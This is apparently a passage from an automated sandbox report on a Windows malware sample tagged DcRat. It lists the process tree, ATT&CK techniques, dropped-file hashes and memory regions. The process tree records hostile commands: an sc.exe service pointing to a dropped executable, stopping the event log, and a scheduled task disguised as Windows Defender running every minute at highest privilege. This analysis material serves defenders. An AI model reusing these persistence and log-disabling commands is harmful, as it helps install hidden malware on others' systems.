C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "QHRAJGDI"4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "QHRAJGDI" binpath= "C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe" start= "auto"4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "QHRAJGDI"4⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\Msvchost.exe"C:\Users\Admin\AppData\Local\Temp\Msvchost.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft_WindowsDefender" /tr "C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe"4⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "Microsoft_WindowsDefender"4⤵
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp7955.tmp.bat""4⤵
-
C:\Windows\system32\timeout.exetimeout 35⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "6101674911388081238-12345273801594148604-705261439143869889911322564341215663988"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-190295269717870969391356586735388093267-18829545302129163235-888976519280182328"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1822909332-956463998-1451174667-20951139702064481746-8569222791761642662-847758964"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-25440121710372147541404669771-467128520294145397-2510038248888929451728681393"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "125637635176211044-1088860703685702565-1309656408-92245218847939699375345472"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-422034662-40744253-535905250-722891903817680141555803346-3376391021820499008"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-805989078-269921653-1148894542-17194686762035198342142285826015947631551518432958"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "14752911361187996628-73020396716959591111701970666-9476777-540289651-623271179"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-402040486-107156771994074342218048798851184116748-1693434065-18211491441884552887"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "8286445561514707489609311244632352781965485749-981329080762887751218411459"1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "838556486-490397867-17684959752831921111295882561-678371932089492961643001767"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "3419341231405687755-629799522-275225729-8708865101105800958-1438240094-163437671"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-882173053146106188417673206441241273606-5537200615445665311645207870-1381944747"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "13366987221445316375850144482081706921-557587517-10424458151168375026536653287"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "995798241-1459776735-103353528652836902305136721-38083713015575911191211602211"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "103548562-1215449747-1413365573-1611999616-20114832198621968581666343503-660201590"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-21249321751915185435-800083084-1403782613176273268311816101011453121866874429613"1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Scheduled Task/Job
1Persistence
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
3Registry Run Keys / Startup Folder
2Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exeFilesize
6.8MB
MD5ecc5e0c0d7ac645ca04f33211314c8d9
SHA1aa37e9cfcba00fc97a92d042400a12c52334a81a
SHA2560eeec0b8f84eccffe9d5e53fdc713d5e22d4c2f54e02d3f9688057411c5e3d32
SHA512bae0aecd052137932c9f87dd80e3633571fee9db1a769b25c54fe76717018bdd01facb0cae0de128d2db23c4901f19719425f21b17494ab8c5f4036b6ff2e3ef
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exeFilesize
1.8MB
MD53a1077a8cad6db75e243811ddf81ef8c
SHA1a7783026d11011d5965ed69c111db5905560bb2a
SHA256441109d5a46a83100e821e1e76a94a8a7051505f3306efde4058b7ad56b0a6df
SHA512a18c705c08eb5cd995757a509ef98aaaf0c6895b2ec3e50b7622370b3bb34473912df080486f04cb3ae01bde7c233cb057921fc613c1eee92de7ddff052e114d
-
C:\Users\Admin\AppData\Local\Temp\Msvchost.exeFilesize
72KB
MD5a2c1f872ec71ca28f9db8969a0a8ec4e
SHA1b83df55b2f704f6b43d04600fbf6df0047cc0902
SHA256b7c0a7c25e063ef21e8ed369ba56e2442b6ca62411d9f21f3da70dc07319909f
SHA512f75e982936458beed9306865bc47c272f1520a12f2fe62d527e1da031f6e3e47b739ce9323db0ebc45e7f1ce23f6746a1d09282b978c372b5a2fbe38c5e9f057
-
C:\Users\Admin\AppData\Local\Temp\_MEI26202\python311.dllFilesize
1.6MB
MD59e985651962ccbccdf5220f6617b444f
SHA19238853fe1cff8a49c2c801644d6aa57ed1fe4d2
SHA2563373ee171db8898c83711ec5067895426421c44f1be29af96efe00c48555472e
SHA5128b8e68bbe71dcd928dbe380fe1a839538e7b8747733ba2fd3d421ba8d280a11ba111b7e8322c14214d5986af9c52ab0c75288bbb2a8b55612fb45836c56ddc36
-
C:\Users\Admin\AppData\Local\Temp\qk8Ox9cvFL.batFilesize
191B
MD593b513a826d7738145dc3c44d1a9ea0f
SHA1bd08683da6d4640294faef30aa82e26886f83733
SHA256e3761854092de986525b14feb7bdff87bf18d793fe1e6378f4d8f4cf6d300472
SHA512849421659217181862f51f6ee1bf3904f6841534d20ac8ec78e3ac4dd74baa3a9ea80f374e919d9f1ccc77a6b3bd4c009b29f1ad0f44aa60b0739f554373abe1
-
C:\Users\Admin\AppData\Local\Temp\tmp7955.tmp.batFilesize
160B
MD51b821b32ae0cd1dd4f13f4a02bccea28
SHA1313722bea9450c9e22187ca112d6426e0eb5b53a
SHA2563eb4c604c9f2c44df540c26f75cc64d0904dc38e9a438021365eb7204bccc799
SHA512274f8d13b1426e73283739dd748dff03fb0c088a3294b5176acd8ac2ae381d41ecd79f255aa8cc67da1c2292c6b5027105ce73c329317e491e7f4b6f9fcdde71
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft_WindowsDefender.lnkFilesize
784B
MD59283e339106c1579ef37b8feb2abf896
SHA1447a63733b736dd2bf8bb313e7310619f4cfa103
SHA256d39440e230fefd70daa7ded8a07ce44fb97d283795b9b91561bc0339b0dac982
SHA512b51f39ba83933191f6a738bfa0cf43d5f567531cc015ea827d663b8eeff7be03ae348e95f9c8e8b2820ad07bc7622a41fce8d4b14eee6c5cf2b0ac9190c04e77
-
C:\Users\Admin\info-0v92.txtFilesize
104B
MD570d4bb55f4ad2b7e86cfc2cca29ad862
SHA190ed5f01b369abdc94fe8ffcfa71784bb32533b4
SHA25677148459b28444a7a4266635a521b5a59a5f213c6760c97ad151647c83ad2a2a
SHA5120d6bc21c5dca62285422f43a4b693a638e36753b07667ee0972a54574e23d62263163248e72ac083495c7717551fc603efe90715d2764bc4bccd8c6dad11d89d
-
C:\Webdriversession\Intoref.exeFilesize
1.5MB
MD5974e08649dd258aaecd2622466d01f50
SHA1f517c75c8cfbb28cebfc2431918bb9b6a4c9b592
SHA25661650dc83094f5405c79f4662a237a31e7545a7614357587f8983fde4b99534f
SHA51209367ab5a4e1510ae5c9ef5aa5e1ec2db604993c0e1f1e81fcd5888305e8649d7ff167b16008bdcf761c3ff40ad9911ef1c80b3d662a152f78f1ea7cce2ab694
-
C:\Webdriversession\SoPkc.batFilesize
33B
MD58d6582fb6be96def951c0a2a050fb3fd
SHA12df27168cb5a9ebc286870fabcd10884469acaf3
SHA2562f52d8a3700ef1ef78cdab53fcfc418222e951cabe257c9b1c75e334afd01d83
SHA512a72cc5d79110f8ac07e5c00987b036a47fbc416e3a6a4c0b3189d71c2cb83b590a0f0917bb511dd386a09b2c58e2e8e72be1c74c32730cb2e71dfaa734596ea1
-
C:\Webdriversession\gI2DkJwTD.vbeFilesize
198B
MD53eba1d666529fbd58ea419ebf391c69d
SHA1b36b073869d4feb2d1b00a31d024275f7a100475
SHA25687efb53d5f5eac55133f55fbb4ba7589d45e53e75c264741f8400a3297103ef4
SHA51273a1252249217814310f6488e777a396b5976542288eae9df7905f914cd87557000be10aba4d8f6c2a65c34ec98c3dbf8eff5305f8f50ce6f6cb3fa38534ac8c
-
C:\Windows\System32\perfc007.datFilesize
145KB
MD519c7052de3b7281b4c1c6bfbb543c5dc
SHA1d2e12081a14c1069c89f2cee7357a559c27786e7
SHA25614ed6cb3198e80964cbc687a60aed24fb68d1bbd7588f983dc1fc6ae63514b4a
SHA512289ca791909882c857014bd24e777fa84b533896508b562051b529d4c27e0d98bc41c801c6384b382f5dc0fa584dc8f713939c636543b0a5cf5ea2b396300f83
-
C:\Windows\System32\perfc00A.datFilesize
154KB
MD5f0ecfbfa3e3e59fd02197018f7e9cb84
SHA1961e9367a4ef3a189466c0a0a186faf8958bdbc4
SHA256cfa293532a1b865b95093437d82bf8b682132aa335957f0c6d95edfbcc372324
SHA512116e648cb3b591a6a94da5ef11234778924a2ff9e0b3d7f6f00310d8a58914d12f5ee1b63c2f88701bb00538ad0e42ae2561575333c5a1d63bb8c86863ac6294
-
C:\Windows\System32\perfc00C.datFilesize
145KB
MD5ce233fa5dc5adcb87a5185617a0ff6ac
SHA12e2747284b1204d3ab08733a29fdbabdf8dc55b9
SHA25668d4de5e72cfd117151c44dd6ec74cf46fafd6c51357895d3025d7dac570ce31
SHA5121e9c8e7f12d7c87b4faa0d587a8b374e491cd44f23e13fdb64bde3bc6bf3f2a2d3aba5444a13b199a19737a8170ee8d4ead17a883fbaee66b8b32b35b7577fc2
-
C:\Windows\System32\perfc010.datFilesize
142KB
MD5d73172c6cb697755f87cd047c474cf91
SHA1abc5c7194abe32885a170ca666b7cce8251ac1d6
SHA2569de801eebbe32699630f74082c9adea15069acd5afb138c9ecd5d4904e3cdc57
SHA5127c9e4126bed6bc94a211281eed45cee30452519f125b82b143f78da32a3aac72d94d31757e1da22fb2f8a25099ffddec992e2c60987efb9da9b7a17831eafdf6
-
C:\Windows\System32\perfc011.datFilesize
114KB
MD51f998386566e5f9b7f11cc79254d1820
SHA1e1da5fe1f305099b94de565d06bc6f36c6794481
SHA2561665d97fb8786b94745295feb616a30c27af84e8a5e1d25cd1bcaf70723040ea
SHA512a7c9702dd5833f4d6d27ce293efb9507948a3b05db350fc9909af6a48bd649c7578f856b4d64d87df451d0efbe202c62da7fffcac03b3fe72c7caaea553de75f
-
C:\Windows\System32\perfh007.datFilesize
680KB
MD5b69ab3aeddb720d6ef8c05ff88c23b38
SHA1d830c2155159656ed1806c7c66cae2a54a2441fa
SHA25624c81302014118e07ed97eaac0819ecf191e0cc3d69c02b16ecda60ac4718625
SHA5124c7a99d45fb6e90c206439dcdd7cd198870ea5397a6584bb666eed53a8dc36faaac0b9cfc786a3ab4ecbbecc3a4ddd91560246d83b3319f2e37c1ed4bdbec32d
-
C:\Windows\System32\perfh009.datFilesize
646KB
MD5aecab86cc5c705d7a036cba758c1d7b0
SHA1e88cf81fd282d91c7fc0efae13c13c55f4857b5e
SHA2569bab92e274fcc0af88a7fdd143c9045b9d3a13cac2c00b63f00b320128dcc066
SHA512e0aa8da41373fc64d0e3dc86c9e92a9dd5232f6bcae42dfe6f79012d7e780de85511a9ec6941cb39476632972573a18063d3ecd8b059b1d008d34f585d9edbe8
-
C:\Windows\System32\perfh00A.datFilesize
727KB
MD57d0bac4e796872daa3f6dc82c57f4ca8
SHA1b4f6bbe08fa8cd0784a94ac442ff937a3d3eea0a
SHA256ce2ef9fc248965f1408d4b7a1e6db67494ba07a7bbdfa810418b30be66ad5879
SHA512145a0e8543e0d79fe1a5ce268d710c807834a05da1e948f84d6a1818171cd4ef077ea44ba1fe439b07b095721e0109cbf7e4cfd7b57519ee44d9fd9fe1169a3e
-
C:\Windows\System32\perfh00C.datFilesize
727KB
MD55f684ce126de17a7d4433ed2494c5ca9
SHA1ce1a30a477daa1bac2ec358ce58731429eafe911
SHA2562e2ba0c47e71991d646ec380cde47f44318d695e6f3f56ec095955a129af1c2c
SHA5124d0c2669b5002da14d44c21dc2f521fb37b6b41b61bca7b2a9af7c03f616dda9ca825f79a81d3401af626a90017654f9221a6ccc83010ff73de71967fc2f3f5b
-
C:\Windows\System32\perfh010.datFilesize
722KB
MD54623482c106cf6cc1bac198f31787b65
SHA15abb0decf7b42ef5daf7db012a742311932f6dad
SHA256eceda45aedbf6454b79f010c891bead3844d43189972f6beeb5ccddb13cc0349
SHA512afecefcec652856dd8b4275f11d75a68a582337b682309c4b61fd26ed7038b92e6b9aa72c1bfc350ce2caf5e357098b54eb1e448a4392960f9f82e01c447669f
-
C:\Windows\System32\perfh011.datFilesize
406KB
MD554c674d19c0ff72816402f66f6c3d37c
SHA12dcc0269545a213648d59dc84916d9ec2d62a138
SHA256646d4ea2f0670691aa5b998c26626ede7623886ed3ac9bc9679018f85e584bb5
SHA5124d451e9bef2c451cb9e86c7f4d705be65787c88df5281da94012bfbe5af496718ec3e48099ec3dff1d06fee7133293f10d649866fe59daa7951aebe2e5e67c1f
-
C:\Windows\System32\wbem\Performance\WmiApRpl.hFilesize
3KB
MD5b133a676d139032a27de3d9619e70091
SHA11248aa89938a13640252a79113930ede2f26f1fa
SHA256ae2b6236d3eeb4822835714ae9444e5dcd21bc60f7a909f2962c43bc743c7b15
SHA512c6b99e13d854ce7a6874497473614ee4bd81c490802783db1349ab851cd80d1dc06df8c1f6e434aba873a5bbf6125cc64104709064e19a9dc1c66dcde3f898f5
-
C:\Windows\System32\wbem\Performance\WmiApRpl.iniFilesize
27KB
MD546d08e3a55f007c523ac64dce6dcf478
SHA162edf88697e98d43f32090a2197bead7e7244245
SHA2565b15b1fc32713447c3fbc952a0fb02f1fd78c6f9ac69087bdb240625b0282614
SHA512b1f42e70c0ba866a9ed34eb531dbcbae1a659d7349c1e1a14b18b9e23d8cbd302d8509c6d3a28bc7509dd92e83bcb400201fb5d5a70f613421d81fe649d02e42
-
C:\Windows\system32\perfc009.datFilesize
118KB
MD5b6a40d83e0fd90f0c9ba062102a8eb99
SHA1d5b564584ea2b5eab4ddda1a225594d790cc585b
SHA2560efde37b0dfcd63a634f9448fdfdfb9c689e7f28accaa063e7abfe5747c7a054
SHA5127b4d6e842ce0433e965eb923f3359634494a735368a04832d85e5778c3a9590144e1c7cc0f336ac9a1208215838433dfb6ff5837c8494231989e3164c10d3f2c
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Temp\Microsoft_R.exeFilesize
6.9MB
MD520d597956e970a820ee6548305bf28fd
SHA1d8b7c9ba251fd620f79c565d0c0ca444de873562
SHA2560dfbeefe7980feb20c9e57a7360375aa85acfd6e3921e0583e6d7baa1955d019
SHA512198e32e38d79fe3f051c553094e3c41ed3dd289da5ff7b67a9e35379260734ff0b336b02f67690e563fe9b1f82119b0308a52fdf7b52f19fab316136f0ee7c06
-
\Users\Admin\AppData\Local\Temp\Microsoft_crypt.exeFilesize
2.7MB
MD56daeeadf00855bb08838f08c38c70f37
SHA1c03525bd823f27a3e2acb8fe95f77d73327aca9d
SHA256109dab92d97421b95132798bcb3fbd2f0194d52426601fe21f1f1d0e77431bd7
SHA5127b8213e2fa44edb2e1999b17e199e6f72f048129879d4eb5d1a9d2cb6bf207adc7de9596aa5e6a58a56fa5ad74fe88a8cd7cb79c2176170b7ca061bb2983f61f
-
memory/276-111-0x0000000000510000-0x0000000000526000-memory.dmpFilesize
88KB
-
memory/276-114-0x00000000007C0000-0x00000000007CC000-memory.dmpFilesize
48KB
-
memory/276-106-0x0000000000080000-0x000000000020C000-memory.dmpFilesize
1.5MB
-
memory/276-107-0x0000000000340000-0x000000000034E000-memory.dmpFilesize
56KB
-
memory/276-108-0x0000000000450000-0x000000000046C000-memory.dmpFilesize
112KB
-
memory/276-109-0x0000000000470000-0x0000000000478000-memory.dmpFilesize
32KB
-
memory/276-110-0x0000000000480000-0x0000000000490000-memory.dmpFilesize
64KB
-
memory/276-112-0x0000000000530000-0x000000000053C000-memory.dmpFilesize
48KB
-
memory/276-113-0x0000000000630000-0x000000000063C000-memory.dmpFilesize
48KB
-
memory/276-116-0x00000000007E0000-0x00000000007EC000-memory.dmpFilesize
48KB
-
memory/276-115-0x00000000007D0000-0x00000000007DC000-memory.dmpFilesize
48KB
-
memory/432-168-0x0000000000B80000-0x0000000000BA4000-memory.dmpFilesize
144KB
-
memory/432-166-0x0000000000B80000-0x0000000000BA4000-memory.dmpFilesize
144KB
-
memory/432-171-0x00000000378F0000-0x0000000037900000-memory.dmpFilesize
64KB
-
memory/432-170-0x000007FEBE910000-0x000007FEBE920000-memory.dmpFilesize
64KB
-
memory/432-169-0x0000000000BB0000-0x0000000000BDB000-memory.dmpFilesize
172KB
-
memory/476-176-0x0000000000D70000-0x0000000000D9B000-memory.dmpFilesize
172KB
-
memory/476-177-0x000007FEBE910000-0x000007FEBE920000-memory.dmpFilesize
64KB
-
memory/476-178-0x00000000378F0000-0x0000000037900000-memory.dmpFilesize
64KB
-
memory/492-184-0x000007FEBE910000-0x000007FEBE920000-memory.dmpFilesize
64KB
-
memory/492-185-0x00000000378F0000-0x0000000037900000-memory.dmpFilesize
64KB
-
memory/492-183-0x0000000000080000-0x00000000000AB000-memory.dmpFilesize
172KB
-
memory/556-1121-0x0000000000E00000-0x0000000000E18000-memory.dmpFilesize
96KB
-
memory/1532-366-0x0000000019DF0000-0x000000001A0D2000-memory.dmpFilesize
2.9MB
-
memory/1532-385-0x0000000000A60000-0x0000000000A68000-memory.dmpFilesize
32KB
-
memory/1848-0-0x000007FEF5C73000-0x000007FEF5C74000-memory.dmpFilesize
4KB
-
memory/1848-1-0x0000000001230000-0x000000000231E000-memory.dmpFilesize
16.9MB
-
memory/1848-3-0x000007FEF5C70000-0x000007FEF665C000-memory.dmpFilesize
9.9MB
-
memory/1848-71-0x000007FEF5C70000-0x000007FEF665C000-memory.dmpFilesize
9.9MB
-
memory/1900-802-0x0000000000E00000-0x0000000000E18000-memory.dmpFilesize
96KB
-
memory/1992-146-0x0000000000840000-0x00000000009CC000-memory.dmpFilesize
1.5MB
-
memory/2000-162-0x0000000077690000-0x00000000777AF000-memory.dmpFilesize
1.1MB
-
memory/2000-163-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/2000-156-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/2000-157-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/2000-158-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/2000-155-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/2000-161-0x00000000778B0000-0x0000000077A59000-memory.dmpFilesize
1.7MB
-
memory/2000-160-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/2200-1346-0x0000000001290000-0x00000000012A8000-memory.dmpFilesize
96KB
-
memory/2312-153-0x000000001B590000-0x000000001B872000-memory.dmpFilesize
2.9MB
-
memory/2312-154-0x0000000001F30000-0x0000000001F38000-memory.dmpFilesize
32KB
-
memory/2444-2087-0x0000000000050000-0x0000000000068000-memory.dmpFilesize
96KB
-
memory/2584-69-0x00000000008F0000-0x0000000000908000-memory.dmpFilesize
96KB
-
memory/2744-94-0x000007FEF3160000-0x000007FEF3749000-memory.dmpFilesize
5.9MB
-
memory/2800-95-0x000007FEF2110000-0x000007FEF26F9000-memory.dmpFilesize
5.9MB
-
memory/3900-1812-0x0000000000830000-0x00000000009BC000-memory.dmpFilesize
1.5MB
-
memory/3940-1815-0x0000000001290000-0x00000000012A8000-memory.dmpFilesize
96KB
-
memory/3972-2674-0x0000000000960000-0x0000000000AEC000-memory.dmpFilesize
1.5MB
-
memory/4672-2443-0x0000000000070000-0x00000000001FC000-memory.dmpFilesize
1.5MB
-
memory/4724-2734-0x00000000006C0000-0x00000000006CC000-memory.dmpFilesize
48KB
-
memory/4724-2366-0x0000000000210000-0x0000000000228000-memory.dmpFilesize
96KB
-
memory/4796-2656-0x0000000001050000-0x00000000011DC000-memory.dmpFilesize
1.5MB
-
memory/4904-2680-0x0000000000AA0000-0x0000000000C2C000-memory.dmpFilesize
1.5MB
-
memory/4972-2770-0x00000000012E0000-0x0000000001314000-memory.dmpFilesize
208KB
-
memory/5164-3058-0x0000000000810000-0x000000000099C000-memory.dmpFilesize
1.5MB